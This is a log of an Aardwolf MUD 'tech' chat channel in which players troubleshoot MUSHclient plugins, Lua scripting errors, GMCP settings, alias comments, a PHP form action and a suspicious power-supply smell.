T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: lack of understanding is an awful reason to use a known bad solution when a good solution is present
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: it's essentially a regex with options
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: <squint> 
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: i'm not a programmer, so my explanation sucks
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: but that's the gist of it
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: shoot norton a tell, maybe he'll explain
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: the \s+ bit allows multiple spaces   the next 2 brackets allow optional 2.   for example   and the last bit allows a set of chars  to allow trigger on pp   pp name    pp 2.name
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: so you can't use this for 3.mob?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Thunderous Norton slaps Scars.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I guess for now, "im just going to make a phone call", not "build a new phone"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: and for that, I don't need to know how the phone works
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: it makes me feel so dependent, thoguh
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: fwiw, that syntax will work with 3.mob, 4.mob, small.mob, (phrase).(phrase)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: should mush client ever cause my fan to spin up?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: not familiar with "small"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bertilak Tech: uh, no, probably not
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: h it is
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: was just an example of a non-number preceeding the period
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: roger.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: and jaws is stuttering and such.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Vonliege is too literal
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: dang , not used to mush ever doing this. but someone deleted my former setup and I cannot get it back
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: someone?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: no, couldnt just keep my aard stuff had to only keep miriani.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: over ten hours of work
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: and jaws wont read the plugin list, yall sighted and your mini windows
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: needless to say, i gotta wait on someone sighted to fig this
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: fix
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: once i removed gmcp related stuff it got better.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: can i disable gmcp permenantly?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: personally the client didnt need it by default
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Mendaloth Tech: As far as I know GMCP is only turned on when the client or a plugin within the client tells the MUD that it supports it.  Well I know that to be the case with the group GMCP info, no reason to believe the others are any different.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: yes, and mush now, with the new setup auto readds its plugin which is not having a good sda with my system
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: i cant play here till i fix this
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Jenni Tech: and judging cause i cant get my old setup back will be never well. yeah.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: number pad navigation... where's the up and down?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: plus and minus?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: for mushclient
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: well how aboutthat....
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to clone the main output window?  or split the screen, perhaps?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Chimeishio Tech: not that I'm aware of, so miss that feature from CMUD :P
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: reason is, as an example, if I "list" at a vendor, I'd like to see that list long after it scrolls away off the top of my screen without having to roll back, or re-list
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I rather enjoyed it on zMud as well
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: look at this thread: http://gammon.com.au/forum/?id=9454 - it doesn't do colors though
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: anyway to get the stats window in mush to display weight info, or get a seperate window for weight?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Not worth the effort to change it, IMO. At msot you'll usually be overweight for the first 30ish levels, and those can be done in 10-12 minutes.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Vonliege roll cheezburger
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger rolls his eyes at himself in disgust.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Vonliege -)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Nuanse Tech: it's doable. but, not worth the simple gmcp data retrieval
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: how about an affects window?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: anyone doing that?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: There's already one. finget bast.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: finger*
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Nuanse Tech: spellup plugin
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: toss me a little more info so I can figure it out
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Nuanse Tech: finger bast :P
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Nuanse Tech: that's all you need :P
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: indeed... it is all I need
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: btw, weight isn't sent in gmcp, so you would have to parse something else like "score" to get it
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: seems like you would want to do list inv at all times, i doubt you care waht player-sold crap is in the shop
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I keep getting runtime errors when I try to load bast scripts...  I am almost positive I coppied them correctly
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: what is the error?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: hi bast
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: first... to load one of your scripts...  I go to the scripts window, browse, select the miniwindow script, and open... then in my main output window, I get a bunch of orange text, startinf with runtime error
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: specifically, I select '\lua\miniwin.lua'
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: and click 'open'
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: if you don't tell me what the error is, I can't help you, just saying error means nothing, if you want to show me the full error, copy the error to pastebin.com and give me the url it returns
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I guess I don't understand how to identify the error.  am I looking for a number in my main output window?  I'm not getting a pop-up window with an error message or anything
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: wait....
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: heres what I see:  [string "Script file"]:158: module 'phelpobject' not found:
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I might just not be using the script right... 
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: also, there are a bunch of 'no file xxxxxxxx' lines after that
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: the more I look at this, the more it looks like I don't have the files in the right place
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: it's looking for files from your zipfile folder in the parent directory from where I put the \bast folder
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: the bast folder has to be in the worlds/plugins directory and it needs to be laid out exactly as it is in the zipfile
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: yes.. I got that from your installation instructions page... and it is correct... 
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: it's looking for files like phelpobject.lua, and loadall.dll
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: is there a lua directory under the Bast folder?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: yes
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: but that's not where the script is looking for them:  no file 'C:\Users\Eric\Desktop\mush\MUSHclient\lua\phelpobject.lua'
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: give me the full directory path to the Bast folder also, please
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: C:\Users\Eric\Desktop\mush\MUSHclient\worlds\plugins\Bast
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: what version of windows are you running?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: windows home 7 premium
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: are you running mushclient from a shortcut?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: no... clicking on the executable right from the directory
T3/r7/2013-02-25.txt.gz:{chan ch=tech}BlueBeetle Tech: anyone know what plugin is printing the item id's when i check inv?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: aard_inventory_serials
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: type "/print(GetInfo(60))", what does it say?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}BlueBeetle Tech: thanks a ton i removed it
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: "Use 'recall' with no other arguments to recall."  it sees "/" and only thinks "recall"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: the default scripting prefix in aardmush is \\\, not /
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: tech i didn't think I had changed it, thanks Myrkul!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: ok, type "\\\print(GetInfo(60))", what does it say?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: Scripting is not active yet, or script file had a parse error
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: go to Game->Configure->Scripting , make sure it is set to Lua and check the "Enable scripting" box
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: that's afirmative... I did note that out to the right, on the line that has the "enable scripting" radio boxes that it said "(not active)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: it still says not active after checking the box?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: correct
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: ok, go to file->Global preferences and then the "Lua" tab, are there any lines in there that do not start with --?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Sit like a Trurien Tech: How may I get a form's submit button to run a PHP function instead?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: there are two lines that do, the a url (http://www.gammon.com.au/security) that does not
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: the=then
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: trurien: action="phpscript.php"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Trachx Tech: PHP is server side, so it should be enough to provide link to script
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: ok, clear that dialog and restart mushclient, then check to see if scripting becomes active
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Ah, but I only want to call a particular function on the same PHP page, can I do that?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: action="?variable=lala" would call the same script but with parameters. You can'tt really "call Functions" directly from the outside, must be seen as a page-load
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: no change
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: still says "(not active)"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Ah, so I the action field is really just the URL that gets called when you click submit?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: **nods*
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Trachx Tech: Vonliege: check whether you have "allow DLLs to be loaded" under global preferences -> lua tab
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: it is checked
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Trachx Tech: maybe your antivir is blocking something
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: understand, this is a brand new fresh install of the aard mush client
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: first thing I did... suspend all anti-everything.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: let's test something, download the newest aardwolf mushclient from https://code.google.com/p/aardwolfclientpackage/, install it to c:\games\mushclient, and see what scripting is set to
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: ok, but I did that just 40 minutes ago... just started using it
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: oh... I see what you are getting at... change the dir
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Trachx Tech: what 'checkversion' does say ?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: r1723
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: I have r1748 is the latest version
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Trachx Tech: I have r1738, downloaded 1-2 weeks ago, so where did you get your version from?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: ok, I have another instance of the client running, and out of the box, it is (active)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: you have a beta... I have the newest release
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: I always run the beta because Fiendish fixes stuff all the time, but yes, he released a new beta yesterday
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: now here's something odd....  the link you gave me is r1748
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I got my 1728 from the link on the aardmud website
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: going to copy the bast folder over there and see what happens\
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: strange
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: oops, he hasn't released the version I have yet
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: want me to ditch it?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: i'm using r1748
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: no, just try to load my plugins in the one in c:\games
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: lets back way up here... please walk me thru starting your script from mushclient
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: and I did try... soon as I ran one, same errors, and it flipped to (not active)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: which one did you try to load, it isn't one script, it is multiple and it depends on which one you load
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: miniwin.lau
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I selected miniwin.lau from the browse window and clicked "ok"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: that's why, the plugins are in the Bast folder, only helper files are in the lua folder
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: what plugin do you want to use, there are several miniwindow plugins, and then all are miniwin_*.xml in the Bast folder
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: K... there's only one .lau file in the bast folder...laupath.lau
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: .xml are plugin files, .lua files are not plugin files
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: .xml?  defaul file type is .lau... might be the trouble
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: how are you trying to load the plugins?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: file->plugins and then hit the Add button is how you load a plugin
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Vonliege sigh
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: there's your trouble... I was going through the "scripting" window
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: glad we got it figured out, clear out the script file and load plugins through File->Plugins
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: but... I don't see any of you scripts listed
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: double click the Bast folder when the Add dialog comes up
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: ya... no bast folder in the add dialog
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: you're doing it wrong.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: here's the path to the bast folder for the instance of the game I am using ATM
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: where did you copy the Bast folder to, it should be under c:\games\mushclient\worlds\plugins
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: C:\Users\Eric\Desktop\mush\MUSHclient\worlds\plugins\Bast
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: are you running that one, or are you running the one in c:\games?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: Why do you have 2?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: because we were testing something
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: this is the one I am running.... lemme hop over and check the other one
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The River Styx Tech: ah
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: my bad....  I have to click the "add" button to see them... I though the "add" button was to click the one you wanted, then click add
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: and.... (drum roll)... there's the window
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: yay!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: thanks for spending the last 73 minutes of your life wiping my nose, bast
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are worse things to wipe
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: glad we got it sorted out, and that isn't the record, so don't feel bad
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: the sad thing is that I made some assumption right off the bat that were incorrect (how to add plugins)... that set us on a course that would never have found resolution
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: the pivital moments was when you said "how are you trying to load the plugins?"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: but we did find resolution, so no worries, I had a guy swear to me he copied the files to the right place after I asked him to double check at least a dozen times, so I went through half a day of back and forth before he realized he didn't copy the files at all
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: I am sure Fiendish has had similar experiences
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: btw: https://code.google.com/p/bastmush/wiki/Intro has links to what all my plugins do with screenshots for most of them
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Rondel Tech: thank you will check it out
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: woah...
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: so when I add a plugin via the file->plugins menu... so I chose bast_spellup, or miniwin-spellup?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: screwed something up here moving from 1738 to 1748
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: lost all of my mapper info
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: portals, cexits
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: what'd i do wrong?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: Vonliege: if you want a miniwin, use miniwin_spellup
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: Scars: did you copy the Aardwolf.db from your old install over the new one?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: duh...
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: no
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: try #2!
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Scars will be right back! 
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Scars Tech: all better
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Scars thanks Bast heartily.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Bast Tech: np, there is an upgrade guide, I don't know if you used it or not but it is on this page: http://www.aardwolf.com/play/downloadmc.htm
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: I am getting extra text in my output window, and I suspect that it is from a plugin... it is {affon}xx,xxxx, and is linked to spellups
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Ylar Tech: that sounds mud-side.....to me. but i don't know MUSH....if that's what you're using.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: K.. thanks
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you had a spellup plugin that enabled spelltags and then you removed the plugin?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: anyone have any idea about extra text {affon}xxx,xxxx being sent to my output screen?  I think its from a plugin, maybe a spellup one.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: do tech -h 5
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: if you type "tags", you'll see a listing of a bunch of types of tags that can be separately toggled
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: yes... that is correct... removed it... how do you suppose I can get rid of the extra text now?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: catching up to you now... gimme a sec
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: type tags...look at that list for the one that would make sense to turn off, then tags <thatone> off
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vonliege Tech: that whooped it... thanks
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: can i put a '//' or something in front of a line in my alias so that mush doesn't read it, but i don't have to delete it?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: You can start a line with ; if you don't want aliases to execute, if that's what you mean.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: i will try that, thanks
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: Oh, actually, that's not right
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: lol, yeah just tested it, it said that into group
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: That just makes everything literal, but still executes aliases
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: Is that want you're wanting to do?  Bypass an alias?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: like in programming when documenting, can i leave something in the send box but not have it be sent?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: i.e. */ or somethin
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: Oh.  I don't think you can do that, no.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: You can hit cntrl+alt+w to open a notepad window, though (or cntrl+alt+space to switch to an already opened one)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: if i have an alias with 4 lines, but I want to only use 2 for a few times. i don't want to have to delete the lines but it seems i need to c&p them huh?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: You can have an alias send something to the mud, and then something else to the command line
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: not sure if that's what you want
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: no, it's fine, i can c&p. I just thought i could make a line invisible like in other programing languages
T3/r7/2013-02-25.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: Still not sure exactly what you're trying to accomplish.  Why do you want stuff on the command line if you don't want it to be sent to the mud?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: Oh wait, do you mean in the alias window when you're making an alias?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: Gah, need to stop switching windows...
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: ok, for example, i have an alias the attacks with a fun warcry but i want to use the alias in a group but just go in and make the warcry not trigger
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: I know what you mean now.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: I was thinking the command line when you said "send box"
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: If you change "send to" to script, then yes, you can do comments by starting with --
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Leinei Tech: You'd have to do Send("blah") for stuff you want to send to the mud, in that case.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Aqiz Tech: reddit css is gone lol
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Phe Tech: ok, i will just c&p sounds easier :)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Aqiz Tech: was*
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: hello techaroos
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger starts to hear the faint sounds of a cricket chirping.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: i just installed a new PSU.  Is it normal to smell ozone-y for a while after?  I installed it in the first place b/c my old PSU fan was broken and something smelled ozone-y.  So now I'm not sure if I've fixed the problem.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Your computer smells like rain?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: it smells like electrons
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: .....everything has electrons
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger snickers with Vorpal Vorpes about their shared secret.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Mendaloth sits down and thinks deeply. 
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well cept plasma i guess
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: To answer your question, not normal.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: dang it.  what else would be making that smell
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Mendaloth Tech: Are you sure it's not a subatomic particle you are smelling?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: something on the motherboard is burning maybe?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: and does anyone want an old dusty rocketfish 500w psu?  i.e. my old which might in fact be fine except for the fan whcih I think is broken.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Well, what smell is it? You said "ozone-y" but no to rain, then you said like electrons (which makes no sesne whatsoever)
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: it smells electrical
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: thats all i got
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Mokg Tech: probably your mind playing tricks on you
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Mobo short, crossed wire .. lots of 'electrical' smelling things.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: definitely not that
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so i brought my car to the mechanic and told him it occasionally smells like cocaine. yea i got a interesting look
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: My car consistently smells like marijuana and I have no idea why
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you know you can buy a $5 psu tester right?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger's shifty eyes dart back and forth.
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: no vorpes, where and how is that?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: newegg or tigerdirect
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: http://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=2441812&CatId=1107
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the one i got basically just gives you a green or red light if the thing works
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Juictice Tech: all that does is save me the 5 minutes it takes to swap out a psu and the connections?
T3/r7/2013-02-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: keeps you from having to buy a psu cause you 'think' it is the problem
